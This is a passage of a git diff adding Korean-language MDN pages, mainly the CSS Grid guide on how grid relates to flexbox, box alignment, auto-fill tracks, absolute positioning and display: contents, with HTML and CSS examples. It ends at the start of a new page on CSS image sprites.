+<p>다음 예제에선 그리드를 써서 똑같은 레이아웃을 만들어 보았습니다. 이번엔 <code>1fr</code> 크기로 된 세 개의 세로 열 트랙으로 이루어져 있습니다. 아이템 자체에는 아무것도 설정할 필요가 없고, 아이템들은 생성된 그리드의 각 셀에 하나씩 배치됩니다. 보시다시피 아이템들은 행과 열에 줄지어서 그리드 위에 정확히 맞추어져 있습니다. 아이템이 다섯 개인 경우, 2번째 행의 끝부분은 빈 곳으로 남게 됩니다.</p>
+
+<div class="Two_Dimensional_With_Grid">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;One&lt;/div&gt;
+  &lt;div&gt;Two&lt;/div&gt;
+  &lt;div&gt;Three&lt;/div&gt;
+  &lt;div&gt;Four&lt;/div&gt;
+  &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Two_Dimensional_With_Grid', '300', '170') }}</p>
+</div>
+
+<p>그리드와 플랙스박스 둘 사이의 선택을 고민할 때 자신에게 던질 수 있는 간단한 질문으로:</p>
+
+<ul>
+ <li>레이아웃을 조정할 때 오직 가로 행 <u><em>혹은</em></u> 세로 열 만이 고려 대상이라면 – 플랙스박스를 사용하십시오</li>
+ <li>레아아웃을 조정할 때 가로 행과 세로 열 <u><em>모두</em></u>를 염두에 두어야 한다면 – 그리드를 사용하십시오</li>
+</ul>
+
+<h3 id="콘텐츠_중심_혹은_레이아웃_먼저">콘텐츠 중심 혹은 레이아웃 먼저?</h3>
+
+<p>1차원 대비 2차원의 차이점 외에도, 레이아웃을 할 때 플랙스박스와 그리드 중에서 어떤 것을 써야 할지를 결정하는 또 다른 요인이 있습니다. 플랙스박스는 좀 더 콘텐츠에 초점이 맞춰져 있습니다. 플랙스박스의 이상적인 사용 사례는 여러 아이템을 컨테이너에 고르게 배치하려는 경우입니다. 여기서 콘텐츠의 크기가 각 아이템이 차지하는 공간을 결정합니다. 아이템이 새로운 줄로 줄 바꿈 되면, 아이템의 크기와 <em>해당 줄</em>의 사용 가능한 공간에 따라 간격이 조정됩니다.</p>
+
+<p>그리드는 레이아웃을 먼저 고려하게 됩니다. CSS 그리드 레이아웃을 사용할 때는 우선 레이아웃을 작성한 다음 그 위에 아이템을 배치하거나, 자동 배치 규칙을 통해 견고하게 짜인 그리드 위에 놓인 그리드 셀에 아이템을 배치하게 됩니다. 콘텐츠의 크기에 따라 조절되는 트랙을 만들 수도 있지만, 이렇게 하면 전체 트랙을 변경하게 됩니다.</p>
+
+<p>플랙스박스를 사용하면서 그 특유의 유연성 때문에 제약을 느낀다면, CSS 그리드 레이아웃을 고려해 보시는 것도 좋을 겁니다. 예를 들어 윗줄에 있는 다른 아이템과 일렬로 정렬되게 하려고 굳이 플랙스 아이템에 퍼센트 너비를 지정해야 할 때가 있는데, 이 경우 그리드가 더 나은 선택이 될 수 있습니다.</p>
+
+<h3 id="박스_정렬">박스 정렬</h3>
+
+<p>플랙스박스의 기능 중 많은 사람이 가장 흥미롭게 여겼던 것은 처음으로 적절한 정렬 제어 기능을 제공한다는 것입니다. 그래서 이젠 박스를 페이지의 중앙에 손쉽게 배치할 수도 있게 되었습니다. 플렉스 아이템은 플렉스 컨테이너의 높이만큼 늘어날 수도 있어서, 같은 높이의 칼럼 레이아웃을 구현할 수도 있습니다. 이것은 개발자가 아주 오랫동안 원했던 것이어서, 그동안 최소한 시각적 효과라도 흉내 내기 위해 온갖 종류의 꼼수를 고안해 내기도 했었습니다.</p>
+
+<p>플랙스박스 표준 명세서에 있는 정렬 프로퍼티는 <a href="https://drafts.csswg.org/css-align/">박스 정렬 레벨(Box Alignment Level) 3</a>의 새로운 표준에 추가되었습니다. 이 말은 그리드 레이아웃을 비롯한 다른 표준에서도 사용할 수 있다는 뜻입니다. 그래서 미래에는 다른 레이아웃 방법에도 똑같이 적용될 수 있습니다.</p>
+
+<p>이 가이드 시리즈의 후반부에서 박스 정렬에 관해 자세히 알아볼 것이며 또한, 그리드 레이아웃에서 어떻게 작동하는지도 살펴보겠습니다. 하지만 여기서는 플랙스박스와 그리드를 비교하는 간단한 예제를 살펴보겠습니다.</p>
+
+<p>플랙스박스를 사용하는 첫 번째 예제에는 컨테이너 안에 세 개의 아이템이 있습니다. 감싸고 있는 요소에 {{cssxref("min-height")}}를 지정해서, 플랙스 컨테이너의 높이를 정의해 줍니다. 플렉스 컨테이너의 {{cssxref("align-items")}} 값을 <code>flex-end</code>로 설정하여 아이템이 플랙스 컨테이너의 끝에 정렬되도록 했습니다. 또한, <code>box1</code>에 {{cssxref("align-self")}} 프로퍼티를 설정하여 기본값을 덮어씌우면서 컨테이너의 높이 만큼 늘어나게 하였고, <code>box2</code>에는 플랙스 컨테이너의 시작 지점에 정렬되도록 하였습니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;One&lt;/div&gt;
+  &lt;div class="box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box3"&gt;Three&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: flex;
+  align-items: flex-end;
+  min-height: 200px;
+}
+.box1 {
+  align-self: stretch;
+}
+.box2 {
+  align-self: flex-start;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('박스_정렬', '300', '230') }}</p>
+
+<h3 id="CSS_그리드에서의_정렬">CSS 그리드에서의 정렬</h3>
+
+<p>다음 두 번째 예제에서는 그리드를 써서 앞에서와 똑같은 레이아웃을 구현했습니다. 이번에는 그리드 레이아웃에 적용할 때 쓰는 박스 정렬 프로퍼티를 사용하였습니다. 그래서 <code>flex-start</code>와 <code>flex-end</code>가 아닌 <code>start</code>와 <code>end</code>를 써서 정렬합니다. 그리드 레이아웃의 경우 해당 그리드 영역을 기준으로 내부에 있는 아이템들을 정렬합니다. 이번 경우에는 단일 그리드 셀로 되어 있지만, 그리드 영역이 여러 그리드 셀로 구성되어 있을 수도 있습니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;One&lt;/div&gt;
+  &lt;div class="box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box3"&gt;Three&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3,1fr);
+  align-items: end;
+  grid-auto-rows: 200px;
+}
+.box1 {
+  align-self: stretch;
+}
+.box2 {
+  align-self: start;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('CSS_그리드에서의_정렬', '200', '310') }}</p>
+
+<h3 id="fr_단위와_flex-basis"><code>fr</code> 단위와 <code>flex-basis</code></h3>
+
+<p>우리는 이미 <code>fr</code> 단위가 어떻게 그리드 컨테이너 속 사용 가능한 공간을 비율에 따라 그리드 트랙에 할당하는지 보았습니다. <code>fr</code> 단위가 {{cssxref("minmax", "minmax()")}} 함수와 결합하면 플랙스박스의 <code>flex</code> 프로퍼티와 매우 유사한 동작을 구현할 수 있으며, 동시에 2차원 레이아웃을 구성할 수도 있습니다.</p>
+
+<p>이전의 1차원과 2차원 레이아웃의 차이점을 보여주는 예제를 살펴보면, 두 레이아웃이 반응하는 방식에 차이가 있다는 점을 아실 수 있습니다. 플랙스 레이아웃의 경우, 브라우저 창을 더 넓거나 좁게 드래그하면, 플랙스 박스는 사용 가능한 공간에 따라 각 행에 나열되는 아이템의 수를 적절하게 조정합니다. 공간이 많다면 5개의 아이템 모두가 한 행에 들어갈 수 있을 것이며, 컨테이너 너비가 매우 좁다면 단지 하나의 아이템이 들어갈 만한 공간이 남을 수도 있을 겁니다.</p>
+
+<p>반면에, 그리드 버전에는 항상 세 개의 열 트랙이 있게 됩니다. 트랙 자체가 넓어지거나 줄어들 수 있지만, 그리드를 정의할 때 세 개를 지정했으면 무조건 세 개의 트랙이 있게 됩니다.</p>
+
+<h4 id="자동으로_채워지는_그리드_트랙">자동으로 채워지는 그리드 트랙</h4>
+
+<p>트랙의 목록을 생성할 때 반복 표기법과 <code>auto-fill</code> 및 <code>auto-fit</code> 프로퍼티를 사용하면 지정한 행과 열에 맞추면서도 플랙스박스와 유사한 효과를 내도록 콘텐츠를 정렬할 수도 있습니다.</p>
+
+<p>다음 예제에서는 반복 표기법을 지정할 때 정수 대신 <code>auto-fill</code> 키워드를 사용하였고 기준 크기가 200픽셀이 되도록 트랙 목록을 설정했습니다. 즉, 그리드는 컨테이너에 200픽셀 너비의 세로 열 트랙을 채울 수 있을 만큼의 개수를 생성하게 됩니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;One&lt;/div&gt;
+  &lt;div&gt;Two&lt;/div&gt;
+  &lt;div&gt;Three&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, 200px);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('자동으로_채워지는_그리드_트랙', '500', '170') }}</p>
+
+<h3 id="변동_가능한_트랙의_수">변동 가능한 트랙의 수</h3>
+
+<p>이것은 플랙스박스와 완전히 똑같지는 않습니다. 플랙스박스 예제에서는 아이템이 다음 줄로 행 바꿈 하기 전에는 기본값인 200픽셀보다 더 넓었습니다. 그리드에서는 <code>auto-fill</code>과 {{cssxref("minmax", "minmax()")}} 함수를 결합해서 비슷한 결과를 얻을 수 있습니다. 다음 예제에선 <code>minmax</code>를 써서 자동으로 채워지는 트랙을 만들었습니다. 트랙은 최소 200픽셀부터 시작해서 최대 <code>1fr</code>까지 늘어날 수 있도록 설정하였습니다. 브라우저는 우선 200픽셀 크기의 아이템을 (그리드 간격도 함께 고려해서) 컨테이너에 몇 개로 채울 수 있을지 계산을 하고 나서, 남아있는 공간을 최대치 <code>1fr</code> 기준으로 아이템들끼리 공유하면서 서로 늘어나도록 합니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;One&lt;/div&gt;
+  &lt;div&gt;Two&lt;/div&gt;
+  &lt;div&gt;Three&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
+}
+</pre>
+
+<p>{{ EmbedLiveSample('변동_가능한_트랙의_수', '500', '170') }}</p>
+
+<p>이렇게 해서, 크기와 개수가 변동적인 트랙들로 구성된 그리드를 만들 수 있게 되었으며, 동시에 아이템들을 일정한 행과 열로 정렬할 수도 있음을 확인하였습니다.</p>
+
+<h2 id="그리드와_단독으로_위치를_지정한_요소">그리드와 단독으로 위치를 지정한 요소</h2>
+
+<p>그리드는 단독으로 위치 지정된 요소와 상호 작용하면서, 그리드 또는 그리드 영역 내에 아이템을 배치할 때 유용하게 사용될 수 있습니다. 표준 명세서에는 그리드 컨테이너가 요소를 감싸는 컨테이닝 블록(containing block)으로서, 그리드 컨테이너가 단독으로 위치를 지정한 아이템의 부모 요소일 때 동작하는 방식을 정의하고 있습니다.</p>
+
+<h3 id="컨테이닝_블록으로서의_그리드_컨테이너">컨테이닝 블록으로서의 그리드 컨테이너</h3>
+
+<p>그리드 컨테이너를 컨테이닝 블록으로 만들려면, 다른 단독으로 위치를 지정한 아이템을 감싸고 있는 요소를 컨테이닝 블록을 만들 때와 마찬가지로, 컨테이너에 position 프로퍼티로 relative 값을 추가해야 합니다. 이렇게 하면, 그리드 아이템에 <code>position: absolute</code>를 지정할 경우 그리드 컨테이너가 컨테이닝 블록이 되며, 또 해당 아이템에 그리드 위칫값이 추가로 지정되었을 때는, 배치된 그리드 영역이 컨테이닝 블록으로 작용합니다.</p>
+
+<p>아래 예제에서는 네 개의 하위 아이템을 감싸는 wrapper 클래스의 블록이 있습니다. 3번 아이템은 단독으로 위치가 지정되었으며 라인을 기반으로 그리드에 배치되었습니다. 그리드 컨테이너에 <code>position: relative</code>를 지정해서 이 아이템이 위치를 잡을 때 참고하는 기준 요소가 됩니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;One&lt;/div&gt;
+  &lt;div class="box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box3"&gt;
+   This block is absolutely positioned. In this example the grid container is the containing block and so the absolute positioning offset values are calculated in from the outer edges of the area it has been placed into.
+  &lt;/div&gt;
+  &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4,1fr);
+  grid-auto-rows: 200px;
+  grid-gap: 20px;
+  position: relative;
+}
+.box3 {
+  grid-column-start: 2;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  position: absolute;
+  top: 40px;
+  left: 40px;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('컨테이닝_블록으로서의_그리드_컨테이너', '500', '330') }}</p>
+
+<p>여기서 아이템이 그리드의 세로 열 2번 라인부터 4번 라인까지, 그리고 가로 행 1번 라인을 시작으로 그리드 영역을 차지하고 있는 것을 확인하실 수 있습니다. 하지만, 단독으로 위치를 지정한 일반 아이템의 경우와 마찬가지로 문서 흐름에서 제외되면서, 자동 배치 규칙에 따라 해당 공간에 다른 아이템들을 배치하게 됩니다. 또한, 이로 인해 아이템이 추가 행을 생성하지 않게 되면서 가로 행 3번 라인까지 확장하지 않게 되었습니다.</p>
+
+<p>만약에 <code>.box3</code>의 규칙 중에 <code>position: absolute</code>를 없애버리면, 위치를 지정하지 않았을 경우 표시될 원래의 자리로 돌아가는 것을 확인하실 수 있습니다.</p>
+
+<h3 id="부모_요소로서의_그리드_컨테이너">부모 요소로서의 그리드 컨테이너</h3>
+
+<p>만약에 단독으로 위치를 지정한 자식 요소가 그리드 컨테이너에 속해 있지만, 해당 컨테이너가 위치를 참고하는 새로운 기준 요소로 정의되지 않았다면, 앞의 예제에서처럼 일반 배치 흐름에서 배제됩니다. 위치의 기준이 되는 요소는, 다른 레이아웃 방법에 공통으로 적용되는 것과 마찬가지로, 새로운 위치 기준 요소로 정의된 요소가 맡게 됩니다. 이번 경우에 만약 위에 있는 감싸는 요소에서 <code>position: relative</code>를 삭제한다면, 위치의 기준이 되는 것은 아래의 그림에서 보여주듯이 최상위 도큐먼트 오브젝트에 해당하는 기본 뷰포트(viewport)가 맡게 됩니다.</p>
+
+<p><img alt="부모 요소로서의 그리드 컨테이너 모습을 담은 그림" src="https://mdn.mozillademos.org/files/14661/2_abspos_example.png" style="height: 408px; width: 1702px;"></p>
+
+<p>여기도 마찬가지로 해당 아이템은, 다른 아이템들의 크기 조정과 자동 배치와 관련해서, 더는 그리드 레이아웃에 관여하지 않게 됩니다.</p>
+
+<h3 id="부모_요소가_그리드_영역일_때">부모 요소가 그리드 영역일 때</h3>
+
+<p>만약에 단독으로 위치를 지정한 아이템이 그리드 영역 안에 자리 잡고 있다면, 해당 영역을 위치의 기준이 되는 요소로 정의할 수 있습니다. 아래 예제에서는 전과 같은 그리드가 정의되어 있습니다만, 이번엔 그리드의 <code>.box3</code> 안에 또 하나의 아이템을 중첩해 놓았습니다.</p>
+
+<p><code>.box3</code>의 position 값으로 relative를 지정했으며 그 밑에 있는 아이템에는 원래의 위치에서 벗어난 값을 따로 지정하였습니다. 이 경우 위치의 기준이 되는 요소는 그리드 영역이 됩니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;One&lt;/div&gt;
+  &lt;div class="box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box3"&gt;Three
+    &lt;div class="abspos"&gt;
+     This block is absolutely positioned. In this example the grid area is the containing block and so the absolute positioning offset values are calculated in from the outer edges of the grid area.
+    &lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4,1fr);
+  grid-auto-rows: 200px;
+  grid-gap: 20px;
+}
+.box3 {
+  grid-column-start: 2;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  position: relative;
+}
+.abspos {
+  position: absolute;
+  top: 40px;
+  left: 40px;
+  background-color: rgba(255,255,255,.5);
+  border: 1px solid rgba(0,0,0,0.5);
+  color: #000;
+  padding: 10px;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('부모_요소가_그리드_영역일_때', '500', '420') }}</p>
+
+<h2 id="그리드와_display_contents">그리드와 <code>display: contents</code></h2>
+
+<p>마지막으로 눈여겨볼 또 하나의 레이아웃 표준과 관련된 상호 작용으로 CSS 그리드 레이아웃과 <code>display: contents</code> 사이의 상호 작용이 있습니다. display 프로퍼티의<code>contents</code> 값은 <a href="https://drafts.csswg.org/css-display/#box-generation">Display 표준 명세서</a>에 새로 정의된 것으로 다음과 같이 설명되어 있습니다:</p>
+
+<blockquote>
+<p>“요소 자신은 어떠한 박스도 생성하지 않지만, 대신 포함하고 있는 하위 자식 요소와 가상 요소(pseudo-elements)가 평소처럼 박스를 생성하게 됩니다. 그래서 박스 생성과 레이아웃을 구현할 때, 문서의 계층 구조상 해당 요소가 아래 자식 요소와 가상 요소로 대체된 것처럼 다루어집니다.”</p>
+</blockquote>
+
+<p>만약에 아이템에 <code>display:</code> <code>contents</code>를 지정하면 보통 해당 요소가 만드는 박스는 사라지고, 자식 요소의 박스가 한 단계 상승한 것처럼 그 자리를 차지하게 됩니다. 이 얘기는 그리드 아이템의 자식 요소가 그리드 아이템이 될 수도 있다는 뜻입니다. 이상하게 들리시죠? 다음에 간단한 예를 들어보겠습니다. 아래 마크업에는 그리드가 있고, 이 그리드에 있는 첫 번째 아이템이 세 개의 열 트랙 모두를 가로지르도록 설정하였습니다. 또한, 이 아이템은 세 개의 중첩된 아이템들을 포함하고 있습니다. 이 아이템들은 컨테이너 바로 밑에 있는 자식 요소가 아니므로, 그리드 레이아웃의 일원으로 참여하지 않으면서 보통의 일반 블록 레이아웃으로 표시됩니다.</p>
+
+<div id="Display_Contents_Before">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.box {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+.nested {
+  border: 2px solid #ffec99;
+  border-radius: 5px;
+  background-color: #fff9db;
+  padding: 1em;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box box1"&gt;
+    &lt;div class="nested"&gt;a&lt;/div&gt;
+    &lt;div class="nested"&gt;b&lt;/div&gt;
+    &lt;div class="nested"&gt;c&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="box box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box box3"&gt;Three&lt;/div&gt;
+  &lt;div class="box box4"&gt;Four&lt;/div&gt;
+  &lt;div class="box box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+}
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+}
+
+</pre>
+
+<p>{{ EmbedLiveSample('Display_Contents_Before', '400', '420') }}</p>
+</div>
+
+<p>이제 <code>.box1</code>에 <code>display:</code> <code>contents</code>규칙을 추가하면, 해당 아이템이 차지하고 있는 박스가 사라지면서 하위 아이템들이 그리드 아이템 자격을 얻게 되어 자동 배치 규칙에 따라 알아서 배치됩니다.</p>
+
+<div id="Display_Contents_After">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.box {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+.nested {
+  border: 2px solid #ffec99;
+  border-radius: 5px;
+  background-color: #fff9db;
+  padding: 1em;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box box1"&gt;
+    &lt;div class="nested"&gt;a&lt;/div&gt;
+    &lt;div class="nested"&gt;b&lt;/div&gt;
+    &lt;div class="nested"&gt;c&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="box box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box box3"&gt;Three&lt;/div&gt;
+  &lt;div class="box box4"&gt;Four&lt;/div&gt;
+  &lt;div class="box box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+}
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  display: contents;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Display_Contents_After', '400', '330') }}</p>
+</div>
+
+<p>이것은 중첩된 아이템을 그리드의 일부분인 것처럼 작용하게 하는 방법으로 사용될 수 있으며, 또한 서브 그리드가 구현된다면 해결될 수 있는 문제를 피해 가는 방법이 될 수도 있습니다. 물론, 플랙스박스에서도 비슷하게 <code>display:</code> <code>contents</code>를 이용해서 중첩된 아이템이 플랙스 아이템처럼 작용하도록 만들 수도 있습니다.</p>
+
+<p>이번 가이드에서 보셨듯이 CSS 그리드 레이아웃은 단지 여러분이 구현해 볼 수 있는 여러 기술 중 한 부분일 뿐입니다. 원하시는 다양한 효과를 얻기 위해서 다른 레이아웃 기술끼리 서로 혼합해서 사용하는 것을 두려워하지 마십시오.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/ko/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/ko/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout">CSS 그리드 레이아웃</a></li>
+ <li data-default-state="open"><a href="#"><strong>가이드</strong></a>
+  <ol>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃의_기본_개념">그리드 레이아웃의 기본 개념</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃과_다른_레이아웃_방법과의_관계">다른 레이아웃 방법과의 관계</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/CSS_그리드의_라인을_기준으로_한_아이템_배치">라인을 기준으로 한 아이템 배치</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_템플릿_영역">그리드 템플릿 영역</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/이름이_주어진_그리드_라인을_이용한_레이아웃">이름이 주어진 그리드 라인을 이용한 레이아웃</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values, and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>프로퍼티</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>용어집</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/web/css/css_images/implementing_image_sprites_in_css/index.html b/files/ko/web/css/css_images/implementing_image_sprites_in_css/index.html
new file mode 100644
index 0000000000..a2ace369cf
--- /dev/null
+++ b/files/ko/web/css/css_images/implementing_image_sprites_in_css/index.html
@@ -0,0 +1,56 @@
+---
+title: CSS로 이미지 스프라이트 구현하기
+slug: Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS
+tags:
+  - Advanced
+  - CSS
+  - CSS Image
+  - Graphics
+  - Guide
+  - Sprites
+  - Web
+  - 스프라이트
+translation_of: Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS
+---
+<div>{{CSSRef}}</div>
+
